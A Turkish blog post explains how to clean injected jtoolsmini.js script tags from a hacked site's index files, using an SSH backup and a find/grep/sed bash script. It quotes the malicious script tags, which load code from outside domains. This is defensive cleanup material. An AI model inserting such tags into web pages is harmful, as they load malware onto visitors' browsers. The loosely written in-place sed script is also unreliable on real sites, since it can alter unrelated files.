Zararlı Javascriptleri Temizleme
Bu yazıda kısaca jtoolsmini.js virüsü gibi index.html, index.php ve default.php dosyalarınıza ftp’den bulaşan javascript virüslerini komut satırından nasıl temizleyeceğiinzi anlatacağım.
Öncelikle belirtmeliyim ki yazıda anlatacaklarımdan ve verdiğim kodlardan doğan zarardan kesinlikle ve kesinlikle sorumlu değilim.
Öncelikle ssh ile server’a bağlanalım:
ssh kullaniciadi@domaininiz.com
Sitenizin bulunduğu dizine gidelim ve yedek alalım.
tar -cjf siteadi.com.viruslu.tar.bz2 *
(Yedek dosyanızı bir üst dizine taşıyabilir; veya bilgisayarınıza indirebilirsiniz.)
Şimdi aşağıdaki shell scriptini delete.sh şeklinde kaydedip, ftp aracılığıyla sitemizin olduğu dizine atalım.
#!/bin/bash
echo "$1 içeren javascript dosyaları aranıyor.."
for file in $(find . -exec grep -l "$1" {} \;)
do
echo "değişiklik yapılan dosya $file ..."
sed -i "s#<script type=\"text/javascript\" src=\".*/$1\"></script>##g" $file
done
Şimdi bu dosyayı çalıştırılabilir yapalım.
chmod +x delete.sh
Ve şimdi dosyayı çalıştıralım: (not bu adım sitenizde bulunan dosya sayısına ve server özelliklerinize göre değişebilir ve uzun sürebilir)
./delete.sh jtoolsmini.js
Ta taaa! İşte bu kadar:)
Şimdi farklı javascript virüsleri için bunu nasıl kullanacağız onu anlatayım:
delete.sh dosyası herhangi bir domaindeki belirli bir javascript dosyasına yönelik arama yapıyor. Yani jtoolsmini.js isimli javascript dosyası şu şekilde farklı domainler altında bulunabilen ama dosya ismi aynı kalan bir dosyadır:
<script type="text/javascript" src="http://ostylist.com/jtoolsmini.js"></script> <script type="text/javascript" src="http://przedmiotyszkolne.pl/jtoolsmini.js"></script> ...
Biz de jtoolsmini.js içeren tüm javascript kodlarını temizlemek için en sondaki javascript dosyasının adını parametre olarak giriyoruz.
./delete.sh [Silinecek javascript dosyası]
İsterseniz delete.sh dosyasında değişiklik yaparak kendiniz için uygun hale getirebilirsiniz.
Kategori: PHP, Tecrübelerim, Teknoloji | Tagler: bash, defected index.html, javascript vürüsü, shell, zararlı javascript








